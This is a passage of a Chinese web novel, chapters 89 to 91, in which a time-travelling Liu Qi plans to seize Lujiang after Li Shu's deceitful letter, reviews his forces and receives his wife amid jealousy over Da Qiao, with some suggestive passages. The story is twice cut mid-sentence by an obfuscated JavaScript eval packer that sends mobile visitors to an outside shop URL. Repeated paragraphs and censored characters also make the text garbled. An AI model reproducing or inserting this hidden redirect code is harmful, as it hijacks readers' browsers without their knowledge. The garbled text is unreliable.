这位荆州少主近在咫尺,又与孙权在江夏鏖战多时。 若能得庐江在手,便可直插孙权腹地,形成夹击之势,这份诱惑,刘琦断难拒绝。 想到这李术嘴角泛起一丝冷笑。 李术所谓献出庐江之言,不过是想着空手套白狼罢了。 眼下江夏战事正酣,无论刘琦、孙权谁胜谁负,战后必然元气大伤。 待到他们整顿兵马,至少需要半年光景。 而有了这半年时间,自己早已在庐江站稳脚跟。 届时,不论是刘琦亦或者曹司空若真要来接收庐江,少不得要与自己好好谈谈条件了。 “空手套白狼.....”李术抚须轻笑,对自己这番谋划颇为自得。 而刘琦这边,在经历了与大乔初试云雨情后,时间又悄然过了几日。 在这几日里,刘琦虽未彻底沉溺于温柔乡中,但与大乔之间的氛围已然不同。 白日里刘琦忙于军务政务,夜晚的寝居之内,则多了几分只可意会的缱绻与暧昧。 而大乔似乎也渐渐适应了新的身份与环境,眉宇间少了几分彷徨,多了几丝属于成**子的、被滋润后的慵懒风致。 这日晚间,刘琦难得有暇,正于内室之中与大乔对弈,而灯下观美人,别有一番韵味。 大乔纤指拈着棋子,凝神思索,微微蹙起的眉尖与偶尔轻咬的下唇,在柔和的光线下勾勒出动人的侧影。 刘琦看似专注于棋局,目光却不时掠过她因专注而微微前倾、自宽松袍服领口处若隐若现的一抹白,空气中弥漫着一种静谧而亲昵的气息。 然而,就在这静谧时刻被一阵轻微却急促的脚步声打破。 一名亲兵得到允许后快步走入,绕过屏风,来到刘琦身边,俯身低声禀报了几句,并将一封密封的信函呈上。 刘琦面色如常,对大乔报以一个安抚的浅笑,顺手接过信函拆开。 刘琦的目光在纸面上快速扫过,起初并未在意,但很快刘琦眉头几不可察地微微挑动了一下。 信上的内容很简单: “庐江太守李术,谨拜刘府君足下:久闻府君威德,术仰慕已久。” “今孙策已亡,孙权孺子无能,败绩频传,江东倾覆在即。” “术不才,愿举庐江以附府君骥尾,共图大事,特遣心腹密呈此信,望府君不弃……” 看完,刘琦不动声色地将信纸折好,收入袖中,仿佛什么都没发生一般,转而温声对大乔道:“些许琐事,不必挂心。我们继续。” 刘琦执起一子,稳稳落在棋盘上,仿佛刚才那封信不曾带来任何波澜。 但刘琦的内心,已然开始飞速盘算。 这李术果然反了。 只不过此事刘琦早有预料,史书明载,孙策一死,这李术便拥兵自重,拒不从命。 而让刘琦略感意外的,是李术此番没有如历史上那般北联曹操,反而来信投自己。 不过转念之间,刘琦便洞悉了其中关钥。 是了,此刻江夏大捷、孙权溃败的消息应当尚未传至庐江。 第89章 天赐良机!庐江自己送上门? 不过转念之间,刘琦便洞悉了其中关钥。 是了,此刻江夏大捷、孙权溃败的消息应当尚未传至庐江。 这李术定是还以为他正与孙权在江夏苦战,故而才敢行此空手套白狼之计——假意献城,实则不过是想骗取一个镇东将军的封号,让他能名正言顺地割据庐江。 “真是打得一手好算盘。”刘琦在心底冷笑。 “可惜啊,这李术怕是做梦也想不到,他以为我正在与孙权苦战,却不知孙权此刻早已被自己打得溃不成军,连孙权自己都成了驴车战神,惶惶如丧家之犬般遁走。” 刘琦执子的手轻轻叩着棋盘,眼底泛起冷意。 既然这李术主动将庐江送到面前,那自己岂有不受之理? 待秋粮入库,兵马休整完毕,刘琦倒要看看,当荆州大军兵临城下之时,这位自作聪明的李太守,还能不能这般从容地与他谈条件。 想到此处,刘琦已无心与大乔对棋局。 刘琦将手中棋子往棋罐中一掷,发出清脆的声响。 “今日便到此吧。” 刘琦起身理了理衣袍,语气温和。 大乔见状,便也起身,柔声道:“公子且去忙正事。” 刘琦微微颔首,随即转身大步离去,宽大的袍袖在夜风中翻飞。 而方才二人对弈时,因刘琦每晚夜宿于此,是以大乔衣衫并未严整束紧,一袭云纹绡纱常服宽松地拢在身上,行动间不经意便会泄出几分秾丽春色,颈间雪肤与锁骨沟壑在灯下若隐若现,慵懒风流体态,堪称尤物。 此刻见刘琦眉宇间锐气隐现,心下便了然,那封密信所载,定是牵动局势的军国大事。 而此时夜色渐深,这般军国大事以大乔过往所见,无论是亡夫孙策还是眼前的刘琦,这等雄主人人物最是懂得权衡,温柔乡虽好,却终究重不过江山棋局。 心念流转间,大乔已盈盈相送着刘琦往外走去。 而在相送刘琦间,大乔不着痕迹地将微敞的衣领拢紧,纤指灵巧地系好腰间丝绦,原本松垮的衣袍瞬时服帖,勾勒出依然窈窕却不再旖旎的轮廓。 原本随性慵懒的仪态,随着这个细微的动作悄然收敛,恢复了平日里的端庄静雅。 而刘琦在出了大乔的别院后,便边走边对侍立门外的亲兵下令: “即刻传令,召诸葛亮、庞统、黄忠等文武官员至议事厅,就说——有要事相商。” 刘琦的声音在廊宇间回荡,方才的闲适已荡然无存,取而代之的是一军统帅的锐利与果决。 李术这封信虽包藏祸心,对刘琦而言却不啻于天赐良机。 刘琦早有经略江东之志,却始终苦于出师无名。 须知此时虽是建安五年,汉室虽倾颓,然天子旌旗犹在许都飘扬。 当前汉室之势正如周室东迁后、诸侯虽各自为政却仍要奉行尊王攘夷之礼,当今天下群雄纵有割据之实,但明面上仍须恪守臣节。 若强行出兵夺取江东郡县,难免要背负“僭越”之名,不仅会招致江东士族激烈抵抗,更将授天下口实。 尤其对刘琦这等以匡扶汉室为旗帜的汉室宗亲而言,更要谨守朝廷礼法。 若连刘琦都不遵朝廷法度,肆意攻伐,天下人岂不有样学样? 届时人心离散,那刘琦手中这面汉室旗帜还能号召谁人? 须知此刻天下诸州郡,表面虽为各路诸侯所据,然其内郡县豪强、士族门阀,大多心中仍奉汉家为正朔。 只要汉室威严未堕,届时一纸诏令便可使郡县易帜。 而刘琦作为刘姓宗亲,这份得天独厚的优势正是他区别于其他诸侯的优势,岂能为一时之利而自毁优势? 这面汉室旌旗若失了号召力,刘琦与那些割据枭雄还有何分别? 而如今李术主动请援,刘琦便可借当年桓公借尊王之名行称霸之实。 刘琦既可借此良机,以“应庐江太守所请”之名正言顺驻军江淮。 待站稳脚跟后,再以“平定地方”为由逐步掌控豫章、庐陵诸郡。 如此步步为营,既全了朝廷体面,又遂了开疆拓土之愿。 这封看似轻飘飘的密信,此刻于刘琦而言,比十万精兵还要珍贵。 而当诸葛亮、庞统、黄忠、等核心文武陆续抵达议事厅时,刘琦正负手立于那幅巨大的江东舆图前,目光深邃。 厅内烛火通明,映照着众人神色不一的容颜。 “召诸位前来,是因方才收到一封密信。” 刘琦没有过多寒暄,转身将李术的信函递给为首的诸葛亮,“庐江李术,欲献城归附。” 此言一出,厅内顿时响起一阵轻微的骚动。 诸葛亮接过信件快速阅毕,随后又将信传给庞统,轻摇羽扇,缓声道:“李术此人,观其言行,非甘居人下之辈。” “其所谓归附,恐怕是还误以为主公正与孙权相持于江夏,便欲行卞庄刺虎之计,借此求得镇东将军之号,行割据之实。” “孔明所言极是。” 刘琦点头,嘴角泛起一丝冷峭,“他此刻定然以为我军正与孙权苦战,故敢行此空手套白狼之计。殊不知,孙权早已溃败遁走。” 庞统此时已看完信,拊掌笑道:“妙极!此真乃天赐之名分!” “主公,此机不可失,失不再来,当速遣精兵,趁势进驻庐江,以免夜长梦多!” 刘琦却缓缓摇头:“士元所言虽善,然我军苦战数月,将士疲惫,箭矢粮秣损耗甚巨。此时若强行用兵,恐难竟全功。” 刘琦此言一出,厅内顿时沉寂。 众将闻言,方才被这天赐良机激得热血上涌的头脑,仿佛被浇下一瓢清醒的泉水。 他们互相对视一眼,都从对方眼中看到了同样的恍然与冷静。 是啊,连日鏖战,士卒们早已人困马乏,军械损耗严重,仓廪也亟待补充。 而庞统欲言又止,他本想说可向襄阳请兵,但想到荆州现状:南有张羡旧部与武陵蛮叛乱未平,北要防备张绣。 襄阳请兵既不可得,眼下主公麾下各部中,经历连日血战尚能立即调动的,唯有陈应所部五千人马未曾经历恶战。 可若只派这点兵马前去,非但难以震慑李术,反而可能被其吞并,落得损兵折将的下场。 正当众人沉吟之际,诸葛亮羽扇轻摇,从容开口:“主公莫非忘了,尚有一部精兵休整数月,至今未动?” 众人闻言皆是一怔,彼此对视间尽是疑惑——哪还有这等兵马? 而刘琦却眼中倏然闪过一道亮光,指节轻叩额角笑道:“若非孔明提醒,几忘了一着闲棋!” 说着,刘琦起身走向舆图,指尖点在江陵城上,“江陵城中,徐元直与魏文长所率江陵营,五千编制齐整,甲胄完备。” 那时刘琦率主力东征江夏,之所以将徐庶与魏延这两员心腹留在江陵,也是经过深思熟虑后下的决定。 江陵不仅是刘琦当时唯一能控制的城池,更是全军粮秣军资的命脉所在。 这座控扼长江的雄城,既是确保前线补给的根基,更重要的是,对刘琦而言若父亲始终不明确立嗣,待到百年之后,这座控扼长江的雄城,便是刘琦日后以武力争取荆州牧之位的重要城池。 而坐拥江陵的刘琦,届时北可威慑襄阳,东可制衡江夏,南可经略荆南,可谓进退有据。 可谁曾想,这数月间局势竟会如此发展。 刘琦不仅击退了威震江东的孙氏兄弟,光复了整个江夏郡。 而蔡瑁与蒯越率领万余精兵在荆南平叛,竟与张羡残部及武陵蛮陷入僵持,这实在令人费解。 刘琦先前还百思不得其解,直到徐庶送来密报才得以窥见端倪:原来襄阳发往荆南的军粮军备屡屡延迟。 刘琦虽百思不得其解父亲为何要如此。 或许是为了平衡荆州世家势力,防止蒯蔡两家坐大;又或是出于其他考量。 但无论如何,这样的局面对刘琦来说百利而无一害。 既然蔡瑁被牢牢牵制在荆南,江陵防务自然可以适当松动,这支养精蓄锐已久的兵马,正可用来经略庐江。 “传令!” 刘琦眸光一凛,“令徐庶、魏延即刻率江陵营五千兵马开拔,再从屯田民兵中遴选三千精壮,速速前来江夏会师。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768124|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刘琦转头看向诸葛亮:“同时以我的名义给李术回信,就说准其所请,表奏他为镇东将军、都督庐江诸军事。” 庞统拊掌笑道:“主公此计大妙!待徐元直、魏文长率八千劲旅抵达,再合陈应所部,便是万余人马。” “以雷霆之势进驻庐江,定叫那李术措手不及。” 而这时,站在末位的吕范迟疑片刻,还是上前一步拱手道:“主公,范在江东时曾与李术共事。此人表面豪爽,实则猜忌心极重。” “而孙权败亡的消息,如今已过近乎十日,若再等江陵营前来会合,恐怕李术见自己空手套白狼算盘落空会另做打算了。” 闻言,刘琦目光微动:“那依吕将军之见?” 吕范谨慎措辞:“范以为,当立即派遣陈应将军率部进驻庐江。只要我军入城,便是既成事实。” “待李术依附主公的公告传遍天下,届时就算他得知孙权败亡的真相,也再难改弦更张,毕竟天下诸侯谁会相信一个朝秦暮楚之人的投诚?” 诸葛亮闻言轻抚羽扇,眼中闪过赞许之色:“吕将军此策甚为周全,只要陈应将军率先头部队进驻庐江,届时李术纵有反复之心,也已成骑虎之势。” 刘琦欣慰地看向吕范:“吕将军深谋远虑,此计正合我意。” 刘琦夸赞了一句后随即转向众将,神色一肃:“陈应听令!” 陈应立即出列抱拳:“末将在!” “你部在此次江夏战役中损耗最小,现命你部为先锋,三日内开赴庐江。” “但记住,抵达皖县后切莫与李术部众发生冲突,你的首要之务是稳住局势,待江陵营主力抵达后再作计较。” “末将明白!”陈应抱拳郑重应诺,“末将定当谨守分寸,不负主公重托。” 刘琦又看向吕范:“吕将军,你从靖江营中挑选两千五百精兵,随陈应同往。” “你曾在江东任职,熟悉当地人情世故,此去要多与李术周旋,务必让他安心接受我军‘协防’。” “同时,你此行还有一重任,你曾在江东任职多年,与李术麾下诸多将校应有旧谊。” “抵达皖县后,你要多与往来叙旧,让他们知晓我刘琦的为人,更要让他们清楚地明白——” 刘琦刻意放缓语速,字字清晰:“李术已决意将庐江献于我刘表之子、当今汉室宗亲,你可明白其中深意?” 吕范立即领会,郑重行礼:“范明白。主公是要让庐江上下皆知,李术是主动归附,而非我军强取。” “正是。” 刘琦颔首,“你要让李术的部曲们都清楚,他们的主公已经做出了选择。届时就算李术临时反悔,他的部下也未必会追随。” 而厅内众将听着刘琦对吕范、陈应二人的详尽部署,眼中都不由流露出几分羡慕。 任谁都看得出来,这趟差使分明是去白捡功劳的,只要稳住李术几日,待江陵营主力抵达,庐江便是囊中之物。 届时首功自然落在率先进驻的陈应和巧施攻心计的吕范身上。 而站在角落的蒋钦望着这一幕,心中亦是五味杂陈。 他与吕范同为江夏之战后归降的江东旧将,部曲都被收编,如今整日在靖江营中操练水师。 本以为这辈子就这样了,毕竟降将能保住性命就不易,且明眼人就能看出主公(刘琦)的主要对手就是江东,任谁也不会放心让降将独当一面。 可此刻见吕范因一策之功便被委以重任,还是这般稳妥的差使,蒋钦不禁既羡慕又懊恼:为何自己就没想到献计? 而刘琦将蒋钦脸上那份复杂神色尽收眼底,唇角几不可察地微微一勾。 而这正是刘琦要的效果。 这些时日刘琦虽然每日沉迷于大乔深闺,但也没达到至军政而不理的荒唐程度。 蒋钦与吕范身上那种此生止步于此的消沉,刘琦早就察觉。 但刘琦从不出言安抚,更不空许承诺——有些事,做比说更有力。 而此番派吕范出征,既是要借其才能,也是要给所有降将一个信号:在他刘琦麾下,唯才是举,不问出身。 第90章 水师一万五!刘琦的江上霸权! 此番刘琦派吕范出征,既是要借其才能,也是要给所有降将一个信号:在他刘琦麾下,唯才是举,不问出身。 而事实上,刘琦派吕范出征也不单是给所有降将一个信号,还有就是对吕范的能力以及身份一重考量。 不论是史**载还是江夏之战中的实际表现,吕范都展现出了过人的才干。 若非孙权刚愎自用,拒不采纳吕范的建言,此刻刘琦即便收复了江夏,恐怕也只能困守这一郡残破之地,终日除了处理政务,便是与后宅的大乔耳鬓厮磨,对着广袤的江东六郡干瞪眼。 以一郡疲敝之师,如何能与坐拥六郡的孙权抗衡? “蒋将军。” 刘琦突然开口,将兀自出神的蒋钦惊醒。 “末将在!”蒋钦急忙收敛心神,出列行礼。 刘琦温言道:“靖江营水师操练之事,还要劳将军多费心。来日经略江东,水师便是重中之重。” 刘琦这话说得平淡,但却让蒋钦精神一振——主公这话中深意,莫非...... 不待蒋钦细想,刘琦已起身拂袖:“今日便议到此,诸位各去准备。” 众将齐声领命,鱼贯而出。 蒋钦走在最后,忍不住回头望去,恰见诸葛亮留在厅中与刘琦低声交谈。 蒋钦忽然意识到,方才主公那番话绝非随口一提——这是在告诉他,来日必有他用武之地。 望着蒋钦离去时明显轻快几分的步伐,刘琦眼底掠过一丝了然。 这些江东降将个个都是人杰,若只让他们终日操练士卒,未免太过可惜了。 而待众人散去,诸葛亮轻摇羽扇:“主公方才对蒋将军的提点,可谓恰到好处。” 刘琦把玩着案上的兵符,微微一笑:“良驹需有驰骋之志。况且...” 刘琦目光转向江东舆图,“来日横渡攻略江东,少不了蒋公奕这样的水战良将。” 说着,刘琦转身看向诸葛亮,神色转为郑重:“只是如此一来,又要劳烦孔明身兼数职了。” “屯田之策,如今在安陆试行颇见成效,正该在全郡择宜推广,眼下又要为东征大军筹措军需...” 诸葛亮从容一揖:“此皆亮分内之事。安陆屯田已见成效,今岁秋粮可望增收三成。军需调度方面,亮已命人清点府库,三日内便可拟定详册呈报。” “有孔明在,我确实省心不少。”刘琦轻叹一声,“待庐江平定,江东门户大开之时,今日这些操劳便都值得了。” 而这时,诸葛亮羽扇微顿,神色忽然变得凝重:“亮本不该过问主公私事,但主公连日留宿大乔闺中,此事恐有不妥。” 诸葛亮见刘琦欲言又止,又正色道:“主公当知,当初正是与安陆黄氏联姻,才得江夏世家倾力相助。” “而黄氏不仅将嫡女月英许配主公,更在此次收复江夏之战中不但出钱出粮,还联合各世家出钱出粮,鼎力相助出力颇多,若主公终日留宿大乔处,难免让黄氏难堪。” 闻言,刘琦神色一凛:“月英与我相敬如宾,我从未轻慢。” “正因如此,更该谨慎。” 诸葛亮羽扇轻点案几,语重心长道:“大乔国色,亮知主公难以割舍。既如此,不若早定名分。” “外室终究有损清誉,若传出去说主公终日留宿他人遗孀处却无名无分,恐伤贤名。” 刘琦闻言沉吟,指尖轻叩案几:“孔明思虑周全。只是...此时纳妾,不是亦会寒了黄氏之心?” 诸葛亮羽扇轻摇,从容应道:“主公所虑极是,不过此事易耳。” “主公只需分两步,一、纳妾之仪当从简,择一吉日迎入后宅即可,不必惊动各方。” “二、至于月英夫人处...” 诸葛亮稍作停顿,见刘琦凝神倾听,便继续道:“主公可借江夏大捷之机,携夫人回襄阳省亲。” “一来向景升公述职,二来补全当初未完之礼。” “当初主公与月英夫人婚事仓促,未循六礼之制,正好借此机会在景升公面前执子婿之礼,全了礼数。” 刘琦闻言不禁一怔:“父亲那边.....” 在刘琦这个穿越者的认知里,婚姻重在两情相悦,那些繁文缛节不过是形式。 况且如今他立下光复江夏的大功,父亲怎会因当初未行全六礼这等小事怪罪? 而诸葛亮见刘琦神色变幻,只当刘琦在担忧刘表怪罪,便温声劝解道:“景升公若见主公夫妇和睦,自然不会计较前事。” 诸葛亮微微一笑,“况且主公立此大功,景升公欢喜还来不及。而补全礼仪,既显主公孝心,也让月英夫人得享应有的尊荣。” 诸葛亮羽扇轻点,继续剖析:“况且黄氏为江夏望族,全了六礼,对安抚江夏士族大有裨益。” 刘琦闻言恍然,原来这看似繁琐的礼仪竟有如此深意,当即颔首:“原来如此,那便依孔明所言。” 随后刘琦略作沉吟道:“至于大乔...就先安置在城西别院,待从我襄阳归来后再行纳聘之礼。” “如此既全了礼数,也不至落人口实。” 诸葛亮闻言,意味深长地看了刘琦一眼:“主公既已决断,亮便再多言一句——嫡庶之别,关乎社稷。望主公谨记,嗣子当出正室。” 刘琦会意,苦笑道:“孔明之意,我明白了,月英为正室,理当如此。” “主公英明。”诸葛亮躬身一礼,随即又道:“既然主公决意往襄阳省亲,亮这就去将近日政务整理成册,以便主公向景升公述职。” 是夜,郡衙署内灯火通明。 诸葛亮与庞统彻夜未眠,将连日来的政务军务整理成详册。 直至晨光熹微,二人方捧着文书往正堂而去。 翌日清晨,当第一缕曙光映照在夏口城头,诸葛亮与庞统已捧着连夜整理好的文书在州牧府等候。 “主公。” 诸葛亮率先呈上厚厚的卷宗,“这是连日来整理的江夏战果与善后总结。”. 刘琦展开总览图册:“此战共收复江夏全境十五县,缴获大小战船五百余艘,粮草四十万石。” “此战迫降及俘虏江东士卒共计一万六千余人,经遴选剔除老弱后,择其中六千精锐补入各营,另选五千擅水战者编入靖江营,其余老弱则分授田亩,编入屯田,以实仓廪。” 这时,诸葛亮见刘琦已经看完图册便将话题转向未来的规划:“主公决意迁郡治于夏口,亮已初步拟定升级方略。” 说着诸葛亮又将一图册在案上铺开,指尖划过绘制的城防布局,“除增筑瓮城敌台、改建箭楼、迁移绞盘室等既定章程外,亮觉得应当将向北扩建城池,将望江岭纳入城防体系。” 诸葛亮指尖点落在北面新规划的城墙线上:“新城墙将延伸至望江岭山脊,同时在望江岭上修筑烽火台与瞭望台,届时可俯瞰数十里江面,水寨、码头尽收眼底,敌军动向一览无余。” 诸葛亮手中图册上清晰标注着新建城墙长三里七分,需征用民夫五千,工期两月。 刘琦仔细端详着图册上连绵的新城墙线,见连瞭望台视野范围、砲位射界都用工笔细描,不由赞叹:“将望江岭纳入城中,进可监视江面,退可固守待援。孔明此策,可谓一劳永逸。” 诸葛亮躬身道:“目前宋濂所部已开始清理岭上杂木,土方工程三日后动工。若调度得当,两月后望江岭便能与主城连为一体。” 庞统见诸葛亮禀告完毕,当即捧着新修订的兵册上前:“主公,全军整编已毕,各校尉皆按定制三千编制整训,以及各部兵力明细。” 刘琦接过兵册,只见,兵册清晰展现了刘琦麾下重整后的各部兵力明细。 除魏延的江陵营五千与王朗的章陵郡兵四千和陈应的襄阳营五千作为特例外。 其余诸位校尉皆按定制领三千部曲:讨逆校尉黄忠掌三千**手,横江校尉甘宁领三千锦帆水师,忠勇校尉周仓正着手补充其三千部曲,奉义校尉宋濂则因战役损耗,其本部目前暂有只两千人。 而所有在江夏之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16776131|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 战中受损或尚未满编的部队,皆已由遴选出的江东降卒精锐补足。 靖江校尉吕范、蒋钦情况特殊,二人共领五千水军,均由擅水战的降卒整编而来。 另载有新设的左右牙门校尉:赵云任左牙门校尉,专司统领骑兵;**因生擒周瑜之大功,被破格擢升为右牙门校尉,执掌主公亲卫。 以及黄祖旧部,驻守在西陵的江夏都尉苏飞两千余人和江夏北部都尉张威两千人。 两部精锐合计两千人,皆是从各营严格选**的骁勇之士。 而看完陆师诸校尉部曲兵力明细后,刘琦将册籍翻过一页,这一页是详陈水师的情形。 刘琦的水师其根基由三部分构成:最初是黄忠交割出的三千长沙水师,与刘琦在江陵时亲筹的二千水军,合为五千之众。 然后就是甘宁的锦帆营三千,江夏一役后,更整编收降了黄祖旧部及江东善战降卒,得近万人,如今水师总力已逾一万五千。 而大小战舰如下:现有楼船五艘可为旗舰,艨艟百四十列阵在前,斗舰百五十巡弋左右,走舸三百往来策应,各船配属士卒、舵工、棹卒皆标注在册,舟舰连云,旌旗蔽空,足可纵横江表。 庞统见刘琦细观水师战舰配置,便指向江防图详解:“如今水寨分设三处:夏口主营泊楼船、艨艟,西寨驻斗舰,东湾栖走舸。三寨呈犄角之势,各距十里,烽燧相望。” 刘琦合上册籍时,眼底映着江防图上连绵的船阵:“数月此时,我等尚困守江陵,而今观此册,方知何为舟师之盛。” 刘琦执册而立,只感觉胸中豪气翻涌。 想数月前领命离襄阳时,除**所率数十亲卫,唯有诸葛亮、徐庶二人相随。 而今却坐拥四万二千虎贲,千五百战船,据江夏要冲,收庐江在望。 观天下势,曹操袁绍相持官渡,孙权新败元气大伤,此刻竟是他这个昔日“软弱长子”最有腾挪之机。 而观天下势,曹操与袁绍在官渡苦苦相持,孙权新败元气大伤,刘备更被汝南太守蔡阳、都尉李通所困,龟缩在汝南边角,苟延残喘。 日后的御三家,此刻群雄困顿,竟是他这个昔日被讥为软弱的长公子独领风骚。 刘琦忽将兵册往案上一按,朗声笑道:“昔日在襄阳**时,满堂诸公皆暗笑我自不量力,谓我此去不过螳臂当车,自寻死路。” “而今我非但未如他们所料兵败身死,反而收复江夏,当我携此全胜之势重返襄阳后,不知当初那些断言我必败之人,可还记得''自寻死路''四字?” 诸葛亮羽扇轻摇:“蔡都督当时确曾放言''若公子真能安定江夏,瑁当亲执马鞭相贺。” 庞统在旁抚掌:“统已命人备好荆州最好的马鞭!” 刘琦闻言轻嗤:“可惜蔡都督此刻正在荆南与武陵蛮相持,怕是赶不上这场庆功宴了。否则倒真想看他如何执鞭相贺。” 这话引得诸葛亮与庞统相视莞尔。 诸葛亮羽扇半掩笑意:“亮已着人将主公收复江夏的捷报抄送荆南大营。” 庞统拊掌大笑:“蔡都督见信时,怕是要把马鞭攥出水来!” 三人顿时哈哈大笑,朗朗笑声在议事厅中回荡。 而正当刘琦与诸葛亮、庞统在谈笑风生之际。 夏口城北面官道上忽然扬起漫天烟尘。 守城士卒极目远眺,但见一里开外蜿蜒行来浩荡车队,数十辆牛车在近千名士卒护卫下迤逦而来,旌旗招展间隐约可见刘、黄等字号。 城楼哨塔上立即响起警钟,值守军侯扶垛远望,正要下令戒备,却见一骑快马绝尘而来。 那骑士在护城河前勒马高呼:“安陆眷属车队到!黄夫人车驾已至!” 军侯闻言神色一肃,立即吩咐左右:“速报主公!所有人等即刻清扫城门甬道,洒水净街!” 守城士卒闻令而动,有人飞马赶往郡守府,其余人急忙取来扫帚水桶,将城门内外石板路洒扫得一尘不染。 第91章 捷报震荆襄!蔡瑁悔断肠! 军侯闻言神色一肃,立即吩咐左右:“速报主公!所有人等即刻清扫城门甬道,洒水净街!” 守城士卒闻令而动,有人飞马赶往州牧府,其余人急忙取来扫帚水桶,将城门内外石板路洒扫得一尘不染。 待车队行至护城河边,黄月英所乘的青盖车已清晰可见。 军侯亲自率队在城门两侧列队相迎,但见车帘微动,隐约露出半张精致侧颜。 而郡守府内,刘琦正与诸葛亮等人谈笑过后,便继而商讨其陈应所部粮草调度,忽见一名侍卫快步入内禀报:“主公,北门守将遣人来报,夫人车驾已至一里外。” 刘琦手中竹简微微一顿,随即起身:“今日便议到此,我去迎一迎。“ 这话让诸葛亮与庞统皆是一怔——按礼制,就算夫人亲至,主公也只需在府中等候即可。 其实刘琦自己也说不清这般急切所为何来。 若是依照此时的礼制,刘琦身为准诸侯,亲出相迎需对应同等爵位或更尊之辈,若迎者身份低于己,这般举动实则有违尊卑之序,反倒有损礼仪规范。 但或许是这些时日夜宿大乔别院的心虚,又或许是记忆中那个总为他熬夜留灯的温柔身影。 总之,当刘琦回过神来时,已带着文武属官站在了城门口。 黄月英端坐车中,正思量着等会儿该如何应对那位传闻中的江东佳人时,可当黄月英的车驾穿过洒扫一新的城门时,透过摇曳的车帘,竟看见丈夫亲自站在甬道前相迎的身影。 黄月英指尖原本紧绞的绣帕不由得一松,以刘琦如今的身份地位,此刻竟肯屈尊降城相迎,这份心意已胜过千言万语。 “夫君......”黄月英一时语塞,指尖的绣帕悄然滑落。 这份远超礼制的迎接,顿时让黄月英这些时日积压的醋意与委屈,此刻间消散了大半。 虽然听闻那位江东乔夫人风姿绝世,且夫君日日夜宿与闺中,但此刻夫君既愿为自己折节至此,可见心中终究是敬重自己这个正妻的。 而这时刘琦上前亲手打起车帘,正对上妻子微红的眼眶。 刘琦温声笑道:“夫人路上辛苦了。” 黄月英垂眸敛衽,声音里已带上几分真切暖意:“劳夫君亲迎,妾身惶恐。” 而诸葛亮与庞统立在仪仗外侧,按礼垂目避视,然则黄月英那声带着哽咽的夫君仍清晰可闻。 随后,随见黄月英眼角泛红,却在刘琦降阶相迎时迅速整理好情绪,从容执手还礼,举手投足间尽显大家风范。 庞统借着整理袍袖的间隙低语:“主公这一迎,胜过千般安抚。” 诸葛亮羽扇轻移,遮住唇角笑意:“早知主公这般周到,何须我等忧心后宅不宁。” 庞统闻言微怔,侧首低声道:“孔明何时竟操心起主公闺帷之事了?” 同时,庞统对诸葛亮操心起主公闺帷也有些诧异,在庞统看来大乔再的宠幸终究是妾室,月英夫人乃明媒正娶的正室。 主公不过一时贪恋美色,待新鲜劲过了自然晓得轻重。 而且妻妾名分早定,岂是几日恩宠就能改变的? 主公这等闺房琐事,他们这些臣子就不要过问得甚多。 诸葛亮羽穗轻旋,眸光扫过正扶着黄月英下车的刘琦:“士元不见主公连日宿在别院?若非今日亲迎,夫人眉间郁色岂能消散得这般快。” 但庞统终是忍不住低声嘀咕一句:“妻妾之位早定,孔明实乃多虑也。” 诸葛亮闻言便知庞统尚未看透其中关窍,月英夫人此刻不单是主公正妻了,亦是江夏世家在府中的代言人。 那些陪嫁的部曲、粮草,乃至安陆黄氏在战事中的倾力相助,早将这段姻缘织成了盘根错节的**盟约。 但见庞统不以为意的神色,诸葛亮羽扇轻摇便咽回了后续话语。 “倒是我多虑了。”诸葛亮从善如流地颔首。 且说刘琦执了黄月英的手登上前来迎接的安车,在文武属官的注目中驶向郡守府。 青盖车缓缓行过洒扫洁净的街巷,车轮碾过新铺的青石板,道旁戍卫的士卒皆垂首避让。 待车驾转入朱雀巷,远远望见郡守府朱门洞开,两列侍女提着香炉静候在白玉阶前。 黄月英透过摇曳的珠帘望去,但见府中画栋飞甍皆悬着红绸,连廊下都新换了湘妃竹帘。 待车驾停在郡守府正门前,刘琦亲自执起黄月英的手迈过朱漆门槛。 但见曲廊下侍立的婢女皆着新制绢衣,见到他们齐齐俯身行礼:“恭迎府君、夫人。” 刘琦执了黄月英的手穿过连廊,行至一处月洞门时,但见西侧延伸出一条青石小径,蜿蜒通向竹林掩映的别院。 黄月英目光掠过那处,见别院门前只悬着素绢灯笼,与府中张灯结彩的喜庆布置截然不同,这般泾渭分明的布置,除了那位江东闻名的乔夫人还能有谁? 待夫妻二人在正房内室窗前坐定,侍女们识趣地掩门退下。 黄月英低头整理着被风吹乱的袖口,耳垂上的明珠坠子随着动作轻轻晃动。 黄月英再等着丈夫开口,虽说夫君今日在城门的折节相迎,那份体贴周到处确实让她心中郁结消散大半。 可独居安陆那些夜里,侍女们窃窃传回的主公又宿在乔夫人处的闲言,终究像细针刺在心头,让黄月英夜里辗转难眠。 而黄月英早知以夫君身份纳妾实属寻常,后宅那些侍婢歌姬,就连蔡瑁送的那对胡姬双胞胎,黄月英也只当是妆台前多摆了两件玉器。 可大乔终究不同,那是曾与吴侯孙策并肩接受过江东文武朝拜的夫人,是连黄月英待字闺中时便听闻过有国色天香艳名的女子。 而今这般绝色如今就在西苑别院中,且夫君夜夜留宿于房中,这教她如何能等闲视之? 而想到这,黄月英不觉微微咬唇,连带着整理衣袖的动作也带了几分不易察觉的急促。 而刘琦见黄月英垂眸不语,眼波流转间带着几分委屈,哪会不知这小娘子正在为西苑那位暗自吃味。 刘琦忽然展臂转了个圈,官袍广袖随风轻扬: 